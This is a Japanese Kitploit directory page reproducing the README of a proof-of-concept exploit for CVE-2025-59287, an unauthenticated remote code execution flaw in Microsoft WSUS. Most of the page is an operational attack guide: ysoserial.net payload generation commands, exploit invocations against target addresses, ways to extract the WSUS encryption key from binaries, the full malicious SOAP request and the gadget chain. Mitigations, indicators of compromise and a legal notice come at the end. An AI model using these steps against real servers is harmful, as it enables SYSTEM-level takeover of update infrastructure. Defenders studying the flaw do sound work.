Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2025-59287-exploit-poc — CVE-2025-59287の概念実証エクスプロイト。WSUSにおける安全でないBinaryFormatter逆シリアル化を介した重大な未認証RCEであり、細工された暗号化Cookieを通じてSYSTEM権限を獲得します。 | Kitploit
ツール/GitHubGitHub/maxymgorn/cve-2025-59287-exploit-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングペイロード開発
GitHubmaxymgorn/cve-2025-59287-exploit-poc

cve-2025-59287-exploit-poc

CVE-2025-59287の概念実証エクスプロイト。WSUSにおける安全でないBinaryFormatter逆シリアル化を介した重大な未認証RCEであり、細工された暗号化Cookieを通じてSYSTEM権限を獲得します。

リポジトリを見る
19ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-59287 概念実証エクスプロイト

脆弱性の概要

CVE-2025-59287 は、Microsoft Windows Server Update Services (WSUS) における重大なリモートコード実行 (RCE) 脆弱性です。この脆弱性は、EncryptionHelper.DecryptData() メソッド内の BinaryFormatter による AuthorizationCookie データの安全でない逆シリアル化が原因で発生します。

影響: 認証されていない攻撃者が、悪意のある暗号化クッキーを GetCookie() エンドポイントに送信することで、SYSTEM 権限でリモートコード実行を達成できます。

CVSS スコア: 重大 (9.8)

脆弱性の詳細

  • 影響を受けるコンポーネント: WSUS ClientWebService.asmx GetCookie() エンドポイント
  • 根本原因: 適切な検証なしに信頼できない入力に対して BinaryFormatter.Deserialize() が呼び出される
  • 攻撃ベクトル: GetCookie() SOAP エンドポイントに送信される悪意のある暗号化クッキー
  • 必要な認証: なし (認証不要の RCE)
  • 影響を受けるポート: 8530 (HTTP)、8531 (HTTPS)

アーキテクチャ

root@kitploit:~
┌─────────────────┐
│   攻撃者        │
│                 │
│  1. BinaryFmt   │
│     ペイロード  │
│     を生成      │
│                 │
│  2. ペイロード  │
│     を暗号化    │
│                 │
│  3. SOAP        │
│     リクエスト  │
│     を送信      │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│   WSUS サーバー │
│                 │
│  GetCookie()    │
│  エンドポイント │
│                 │
│  DecryptData()  │◄─── 脆弱性あり
│                 │
│  BinaryFormatter│◄─── 安全でない逆シリアル化
│  Deserialize()  │
│                 │
│  ペイロードを   │◄─── SYSTEM として RCE
│  実行           │
└─────────────────┘

ファイル構成

root@kitploit:~
exploit-poc/
├── wsus_exploit.py                    # メインのエクスプロイトスクリプト
├── BinaryFormatterPayloadGenerator.cs # .NET ペイロードジェネレーター (C#)
├── encrypt_payload.py                 # WSUS 暗号化ヘルパー
├── requirements.txt                   # Python 依存関係
└── README.md                          # このファイル

前提条件

Python 環境

root@kitploit:~
pip install -r requirements.txt

.NET Framework (ペイロード生成用)

  • .NET Framework 4.0 以降がインストールされた Windows
  • または代替として ysoserial.net を使用

使用方法

方法 1: 完全なワークフロー

ステップ 1: BinaryFormatter ペイロードの生成

オプション A: 提供された C# ジェネレーターを使用

root@kitploit:~
# ジェネレーターをコンパイル
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs

# ペイロードを生成
BinaryFormatterPayloadGenerator.exe calc.exe
# 作成されるファイル: payload_YYYYMMDDHHMMSS.bin

オプション B: ysoserial.net を使用 (推奨)

root@kitploit:~
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin

ステップ 2: ペイロードの暗号化

root@kitploit:~
python encrypt_payload.py payload.bin -o encrypted_cookie.txt

重要: encrypt_payload.py 内の暗号化キーはプレースホルダーです。実際の悪用には、以下を行う必要があります:

  1. WSUS バイナリから実際の暗号化キーをリバースエンジニアリングする
  2. encrypt_payload.py を実際のキーで更新する
  3. 以下の「WSUS 暗号化キーの特定」セクションを参照

ステップ 3: エクスプロイトの実行

root@kitploit:~
# ペイロードファイルを使用 (その場で暗号化)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin

# 事前に暗号化されたクッキーを使用
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"

# HTTPS を使用 (ポート 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin

方法 2: クイックテスト

root@kitploit:~
# 生成、暗号化、悪用を一度に実行
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <TARGET_IP> -f payload_*.bin

実際の WSUS 暗号化キーの特定

実際の悪用には、暗号化キーを WSUS バイナリから抽出する必要があります。

方法 1: dnSpy によるリバースエンジニアリング

  1. WSUS DLL の場所を特定:

    root@kitploit:~
    %ProgramFiles%\Update Services\WebServices\bin\
    

    または IIS Web ディレクトリ:

    root@kitploit:~
    %SystemDrive%\inetpub\wwwroot\wsusadmin\
    
  2. dnSpy で開く (無料の .NET デコンパイラー):

    • ダウンロード: https://github.com/dnSpy/dnSpy
    • Microsoft.UpdateServices.WebServices.dll を開く
  3. EncryptionHelper を検索:

    • Microsoft.UpdateServices.WebServices 名前空間に移動
    • EncryptionHelper クラスを見つける
    • DecryptData() および EncryptData() メソッドを確認
    • 暗号化キーとアルゴリズムを抽出
  4. 一般的なパターン:

    • ハードコードされたバイト配列
    • 文字列定数
    • マシン GUID/SID からのキー導出

方法 2: ランタイム解析

  1. WinDbg または x64dbg を使用:

    • EncryptionHelper.DecryptData() にブレークポイントを設定
    • キーマテリアルをメモリ/レジスタで検査
    • 暗号化/復号化操作を監視
  2. Process Monitor を使用:

    • WSUS プロセスでフィルタリング
    • レジストリ/設定ファイルへのアクセスを確認
    • キーがレジストリに保存されている可能性がある

方法 3: 静的解析

  1. IDA Pro または Ghidra を使用:

    • WSUS バイナリをロード
    • 暗号化関連の文字列を検索
    • キー導出アルゴリズムを分析
  2. strings ユーティリティを使用:

    root@kitploit:~
    strings Microsoft.UpdateServices.WebServices.dll | grep -i key
    strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
    

エクスプロイトの更新

実際のキーを入手したら、encrypt_payload.py を更新します:

root@kitploit:~
# encrypt_wsus_cookie() 内のこの行を置き換え:
key_material = b"WSUS_Cookie_Encryption_Key_v1.0"  # プレースホルダー

# 実際のキーに置き換え:
key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"

またはコマンドラインで渡す:

root@kitploit:~
python encrypt_payload.py payload.bin -k "ACTUAL_KEY"

エクスプロイトの流れ

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│ 1. BinaryFormatter ペイロードを生成                          │
│    ObjectDataProvider → Process.Start() → コマンド実行      │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 2. ペイロードを暗号化                                        │
│    WSUS 暗号化キーを使用した AES-128-CBC                     │
│    送信用に Base64 エンコード                                │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 3. SOAP リクエストを作成                                      │
│    AuthorizationCookie ヘッダーに暗号化ペイロードを含める     │
│    SOAP ボディ内の GetCookie() メソッド                      │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 4. WSUS エンドポイントに送信                                  │
│    POST /ClientWebService/ClientWebService.asmx              │
│    ポート 8530 (HTTP) または 8531 (HTTPS)                    │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 5. WSUS 処理                                                 │
│    DecryptData() がクッキーを復号化                          │
│    BinaryFormatter.Deserialize() がペイロードを実行          │
│    → SYSTEM として RCE                                       │
└─────────────────────────────────────────────────────────────┘

SOAP リクエスト構造

root@kitploit:~
POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <TARGET>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Header>
        <AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
            BASE64_ENCRYPTED_BINARYFORMATTER_PAYLOAD
        </AuthorizationCookie>
    </soap:Header>
    <soap:Body>
        <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
            <cookieType>AuthorizationCookie</cookieType>
        </GetCookie>
    </soap:Body>
</soap:Envelope>

ペイロード生成の詳細

このエクスプロイトは ObjectDataProvider ガジェットチェーンを使用します:

root@kitploit:~
ObjectDataProvider provider = new ObjectDataProvider();
provider.ObjectInstance = new Process();
provider.MethodName = "Start";
provider.MethodParameters = new Collection<object> { processStartInfo };

BinaryFormatter.Deserialize() がこれを処理すると、自動的に:

  1. ObjectDataProvider を逆シリアル化
  2. ObjectInstance (Process) に対して MethodName ("Start") を呼び出し
  3. MethodParameters (ProcessStartInfo) を渡す
  4. SYSTEM 権限でコマンドを実行

テストチェックリスト

  • BinaryFormatter ペイロードを生成
  • WSUS 暗号化キーを抽出/特定
  • 正しいキーでペイロードを暗号化
  • WSUS エンドポイントにアクセス可能か確認
  • 悪意のあるクッキーを含む SOAP リクエストを送信
  • ターゲット上でのコマンド実行を確認
  • 隔離されたラボ環境でテスト

制限事項

  1. 暗号化キー: プレースホルダーキーは実際のシステムでは機能しません。実際のキーを抽出する必要があります。
  2. BinaryFormatter ペイロード: 生成には .NET Framework または ysoserial.net が必要です。
  3. ネットワークアクセス: WSUS エンドポイント (ポート 8530/8531) へのネットワークアクセスが必要です。
  4. WSUS バージョン: 動作は WSUS のバージョンによって異なる場合があります。

緩和策

即時対応

  1. Microsoft セキュリティ更新プログラムを適用: 直ちにパッチを適用

    • Microsoft セキュリティアドバイザリを確認
    • WSUS をパッチ適用済みバージョンに更新
  2. 一時的な回避策: WSUS が不要な場合はポートをブロック

    root@kitploit:~
    # WSUS ポートへのインバウンドトラフィックをブロック
    New-NetFirewallRule -DisplayName "Block WSUS" -Direction Inbound -LocalPort 8530,8531 -Protocol TCP -Action Block
    
  3. ネットワークセグメンテーション: WSUS エンドポイントへのアクセスを制限

    • 承認された更新サーバーからのみアクセスを許可
    • ファイアウォールルールで送信元 IP を制限

長期的な修正

  1. BinaryFormatter の置き換え: Microsoft は安全なシリアル化に置き換えるべき

    • 型検証付きの System.Text.Json または System.Xml.Serialization を使用
    • 厳格な型の許可リストを実装
  2. 入力検証: 包括的な検証を追加

    • 逆シリアル化前にすべてのクッキーデータを検証
    • 予期しない型/スキーマを拒否
  3. 最小権限の原則: WSUS サービスを最小限の権限で実行

    • 可能であれば SYSTEM として実行しない
    • 制限された権限を持つサービスアカウントを使用

検出

侵害の指標 (IoC)

  • ポート 8530/8531 への異常なネットワークトラフィック
  • Base64 エンコードされた AuthorizationCookie ヘッダーを含む SOAP リクエスト
  • WSUS サービスコンテキストからの予期しないプロセス実行
  • WSUS ログ内の BinaryFormatter 逆シリアル化例外

ログ分析

WSUS ログを確認:

root@kitploit:~
%ProgramFiles%\Update Services\LogFiles\

以下を探す:

  • SOAP リクエストエラー
  • 逆シリアル化例外
  • 不正アクセス試行

ネットワーク監視

以下を監視:

  • /ClientWebService/ClientWebService.asmx への SOAP リクエスト
  • AuthorizationCookie ヘッダー内の大きな Base64 ペイロード
  • WSUS サービスからの異常なコマンド実行

法的通知

⚠️ 警告: このエクスプロイトコードは許可されたセキュリティテストのみを目的として提供されています。

  • ✅ 合法的な使用:

    • 自身のシステムのテスト
    • 許可されたペネトレーションテスト
    • 許可を得たセキュリティ研究
    • 管理された環境での教育目的
  • ❌ 違法な使用:

    • システムへの不正アクセス
    • 悪意のある攻撃
    • コンピュータ詐欺法の違反
    • 明示的な許可のない使用

このエクスプロイトの不正使用は刑事訴追につながる可能性があります。責任を持って倫理的に使用してください。

参考情報

  • CVE-2025-59287: 公式 CVE エントリ
  • Microsoft セキュリティアドバイザリ: 公式パッチとガイダンスを確認
  • BinaryFormatter セキュリティガイド: https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide
  • ysoserial.net: https://github.com/pwntester/ysoserial.net

クレジット

  • 脆弱性はセキュリティ研究者によって発見されました
  • PoC は教育および許可されたテスト目的で開発されました

バージョン履歴

  • v1.0: 初期 PoC リリース
    • メインのエクスプロイトスクリプト
    • .NET ペイロードジェネレーター
    • 暗号化ヘルパー
    • ドキュメント

注意: 常に隔離された管理された環境でテストしてください。所有していないシステムや明示的なテスト許可がないシステムに対しては決して使用しないでください。

ツールをダウンロード